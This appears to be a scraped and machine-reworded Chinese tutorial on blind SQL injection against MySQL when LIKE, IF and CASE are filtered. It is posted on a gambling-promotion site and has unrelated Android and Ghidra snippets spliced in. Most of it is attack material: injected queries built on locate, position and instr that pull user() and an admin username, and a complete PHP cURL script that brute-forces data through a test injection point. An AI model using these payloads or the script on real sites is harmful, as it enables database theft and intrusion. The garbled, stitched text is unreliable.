mysql 过滤like时的另类盲注要领 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

mysql 过滤like时的另类盲注要领

申博_安全防护 申博 88次浏览 未收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

0x00 提要

日站过程中有过滤是很一般的事变.

本要领适用于 过滤了 like, %, if, CASE

也就是 like 注入没法一般运用,然则页面又没有回显的状况

like 替换要领

  1. locate
  2. position
  3. instr

0x01 locate, position, instr 函数注入时会碰到的题目

虽然说是替换然则实在没有那末的好用,由于他们都是摆布婚配的QAQ

这会致使婚配相似 a1b2a1a2 如许的数据不准确的题目

比方: 我输入a1婚配为true,我输入a1a婚配一样会为真,这会致使一个题目就是我们不知道第一位的数据是怎样的

以是我想出了两个解决方案

  1. 运用 substring 函数之类的要领
  2. 第一种是相似递归的体式格局,先得出要取得的数据的长度,然后应用轮回逐步递归爆破

第一种就不诠释了,能用 substring之类的截断函数 实在就与一般的布尔盲注是一样的

关于安卓的调试方法(一)

smali语法简单介绍 invoke-statio 执行函数 move-result-object v1 执行结果放在v1 invoke-virtual 执行一些函数存在返回值 const-string v0 .. 定义变量v0=什么 简单记录下问题当突然adb找不到设备的时候可以执行adb kill-server and st

第二种要领我就会文章的末了写个简朴的例子

0x01 测试数据

mysql> select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
mysql> select current_user;
+----------------+
| current_user   |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
mysql> select * from tdb_goods where goods_id=1;
+----------+----------------------------+------------+------------+-------------+---------+------------+
| goods_id | goods_name                 | goods_cate | brand_name | goods_price | is_show | is_saleoff |
+----------+----------------------------+------------+------------+-------------+---------+------------+
|        1 | R510VC 15.6英寸笔记本       | 笔记本     | 华硕      |    3399.000 |       1 |          0 |
+----------+----------------------------+------------+------------+-------------+---------+------------+
1 row in set (0.00 sec)

0x02 substring 函数

截取特定长度的字符串

用法:

  • substring(str, pos),即:substring(被截取字符串, 从第几位最先截取)
    substring(str, pos, length)
  • 即:substring(被截取字符串,从第几位最先截取,截取长度)

0x03 locate 函数

影象体式格局: select * from test where test=1 and locate(推断前提, 表达式)>0

0x03.1 查询user()数据
# 查询 user() 前两位数据-准确时
# 准确时页面内容不会变
# 透露表现user()函数,前两位数据为: ro
mysql> select * from test where test=1 and locate('ro', substring(user(),1,2))>0;
+----+------+-----+---------+
| id | test | map | content |
+----+------+-----+---------+
|  1 | 1    | 1   | 0       |
+----+------+-----+---------+
1 row in set
# 查询 user() 前两位数据-毛病
# 毛病时页面数据会返回为空
mysql> select * from test where test=1 and locate('r1', substring(user(),1,2))>0;
Empty set
0x03.2 查询数据库表数据
# 读取某库某表某字段前两位数据-准确时
# 透露表现test表,第一条数据username字段,前两个字为: ad
mysql> select * from test where test=1 and locate('ad', substring((SELECT username FROM test.tdb_admin limit 0,1),1,2))>0;
+----+------+-----+---------+
| id | test | map | content |
+----+------+-----+---------+
|  1 | 1    | 1   | 0       |
+----+------+-----+---------+
1 row in set
# 读取某库某表某字段前两位数据-毛病时
mysql> select * from test where test=1 and locate('a1', substring((SELECT username FROM test.tdb_admin limit 0,1),1,2))>0;
Empty set

0x04 position 函数

影象体式格局: select * from test where test=1 and position(推断前提 IN 表达式)

0x04.1 查询user()数据
# 查询 user() 前两位数据-准确时
# 准确时页面内容不会变
# 透露表现user()函数,前两位数据为: ro
mysql> select * from test where test=1 and position('ro' IN substring(user(),1,2));
+----+------+-----+---------+
| id | test | map | content |
+----+------+-----+---------+
|  1 | 1    | 1   | 0       |
+----+------+-----+---------+
1 row in set
# 查询 user() 前两位数据-毛病
# 毛病时页面数据会返回为空
mysql> select * from test where test=1 and position('ro1' IN substring(user(),1,2));
Empty set
0x04.2 查询数据库表数据
# 读取某库某表某字段前两位数据-准确时
# 透露表现test表,第一条数据username字段,前两个字为: ad
mysql> select * from test where test=1 and position('ad' IN substring((SELECT username FROM test.tdb_admin limit 0,1),1,2));
+----+------+-----+---------+
| id | test | map | content |
+----+------+-----+---------+
|  1 | 1    | 1   | 0       |
+----+------+-----+---------+
1 row in set
# 读取某库某表某字段前两位数据-毛病时
mysql> select * from test where test=1 and position('a1' IN substring((SELECT username FROM test.tdb_admin limit 0,1),1,2));
Empty set

0x05 instr 函数

影象体式格局: select * from test where test=1 and instr(表达式, 推断前提)>0

0x05.1 查询user()数据
# 查询 user() 前两位数据-准确时
# 准确时页面内容不会变
# 透露表现user()函数,前两位数据为: ro
mysql> select * from test where test=1 and instr(substring(user(),1,2), 'ro')>0;
+----+------+-----+---------+
| id | test | map | content |
+----+------+-----+---------+
|  1 | 1    | 1   | 0       |
+----+------+-----+---------+
1 row in set
# 查询 user() 前两位数据-毛病
# 毛病时页面数据会返回为空
mysql> select * from test where test=1 and instr(substring(user(),1,2), 'roa')>0;
Empty set
0x05.2 查询数据库表数据
# 读取某库某表某字段前两位数据-准确时
# 透露表现test表,第一条数据username字段,前两个字为: ad
mysql> select * from test where test=1 and instr(substring((SELECT username FROM test.tdb_admin limit 0,1),1,2), 'ad')>0;
+----+------+-----+---------+
| id | test | map | content |
+----+------+-----+---------+
|  1 | 1    | 1   | 0       |
+----+------+-----+---------+
1 row in set
# 读取某库某表某字段前两位数据-毛病时
mysql> select * from test where test=1 and instr(substring((SELECT username FROM test.tdb_admin limit 0,1),1,2), 'adc')>0;
Empty set

0x06 剧本思绪解说

比方 user() = root@localhost

先得出长度: 14

然后剧本进入死轮回

先向右添补爆破一直到爆破不出来为止,然后在最先向左爆破

  • 第一次: select * from test where test=1 and locate(‘o’, user())>0; 由于user() 中有带o的以是为真,推断爆破胜利的长度是不是为14
  • 第二次: select * from test where test=1 and locate(‘ot’, user())>0; 由于user() 中有带ot的以是为真,推断爆破胜利的长度是不是为14
  • 第x次: select * from test where test=1 and locate(‘ot’, user())>0; 由于user() 中有带ot@localhost的以是为真,推断爆破胜利的长度是不是为14,这时候爆破会发明还差2个,然后只需要向左爆破一下便可

0x07 剧本思绪例子-爆破 user()

<?php 

class SqlCurl
{
    public function curlRequest($url, $post = [], $return_header = false, $cookie = '', $referurl = '')
    {
        if (!$referurl) {
            $referurl = 'https://www.baidu.com';
        }

        $header = array(
            'Content-Type:application/x-www-form-urlencoded',
            'X-Requested-With:XMLHttpRequest',
        );

        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);

        //随机浏览器useragent
        curl_setopt($curl, CURLOPT_USERAGENT, $this->agentArry());
        curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($curl, CURLOPT_AUTOREFERER, 1);
        curl_setopt($curl, CURLOPT_REFERER, $referurl);
        curl_setopt($curl, CURLOPT_HTTPHEADER, $header);

        if ($post) {
            curl_setopt($curl, CURLOPT_POST, 1);
            curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post));
        }

        if ($cookie) {
            curl_setopt($curl, CURLOPT_COOKIE, $cookie);
        }

        curl_setopt($curl, CURLOPT_TIMEOUT, 10);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $data = curl_exec($curl);

        if (curl_errno($curl)) {
            return curl_error($curl);
        }

        $header_data = curl_getinfo($curl);
        if ($return_header) {
            return $header_data;
        }

        curl_close($curl);
        return $data;
    }

    private function getIp()
    {
        return mt_rand(11, 191) . "." . mt_rand(0, 240) . "." . mt_rand(1, 240) . "." . mt_rand(1, 240);
    }

    private function agentArry()
    {
        $agentarry = [
            //PC端的UserAgent
            "safari 5.1 – MAC" => "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
            "safari 5.1 – Windows" => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
        ];
        return $agentarry[array_rand($agentarry, 1)];
    }
}

// 注入点
$url = 'http://127.0.0.1/test/test_sql.php?id=1';

$result = (new SqlCurl())->curlRequest($url, [], true);
if (isset($result['size_download']) && !empty($result['size_download'])) {
    $result_size = $result['size_download'];
} else {
    $result_size = 0;
}

$sql_test_result_1 = (new SqlCurl())->curlRequest($url.urlencode('\' and 1=1 -- a'), [], true);
$sql_test_result_2 = (new SqlCurl())->curlRequest($url.urlencode('\' and 1=2 -- a'), [], true);

if ($result_size != $sql_test_result_1['size_download'] || $result_size === $sql_test_result_2['size_download']) {
    echo '不是注入';
    exit;
}

// 查询 user() 长度
$i=0;
$user_size = 0;
while (true) {
    $sql_test_result_3 = (new SqlCurl())->curlRequest($url.urlencode('\' and length(user()) ='.$i.'-- a'), [], true);
    if ($sql_test_result_3['size_download'] === $result_size) {
        $user_size = $i;
        break;
    }
    $i++;
}
echo 'user()长度: '.$user_size.PHP_EOL;

// 查询 user() 内容
$payload = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~';
$payload_count = strlen($payload);

$user_data = '';
while (true) {
    if (strlen($user_data) !== $user_size) {
        for ($j=0; $j < $payload_count; $j++) {
            // 向右爆破
            $sql_test_result_4 = (new SqlCurl())->curlRequest($url.urlencode('\' and locate(BINARY \''.$user_data.$payload[$j].'\', user())>0 -- a'), [], true);
            if ($sql_test_result_4['size_download'] === $result_size) {
                $user_data .= $payload[$j];
                echo $user_data.PHP_EOL;
                continue;
            } else {
                // 向左爆破 
                $sql_test_result_5 = (new SqlCurl())->curlRequest($url.urlencode('\' and locate(BINARY \''.$payload[$j].$user_data.'\', user())>0 -- a'), [], true);
                if ($sql_test_result_5['size_download'] === $result_size) {
                    $user_data = $payload[$j].$user_data;
                    echo $user_data.PHP_EOL;
                    continue;
                }
            }
        }
    } else {
        break;
    }
}

echo '实行完成'.PHP_EOL;
echo 'user()长度: '.$user_size.PHP_EOL;
echo 'user()内容: '.$user_data.PHP_EOL;

注重: mysql是不辨别大小写的,以是我在写例子剧本时 添加了BINARY关键字使搜刮辨别大小写

如何开发用于漏洞研究的Ghidra插件,Part 1

原文地址:https://www.somersetrecon.com/blog/2019/ghidra-plugin-development-for-vulnerability-research-part-1 概述 在今年3月5日举行的RSA安全会议上,美国国家安全局(NSA)发布了一个名为Ghidra的逆向工具。与IDA Pro类似,Ghidra


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明mysql 过滤like时的另类盲注要领
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址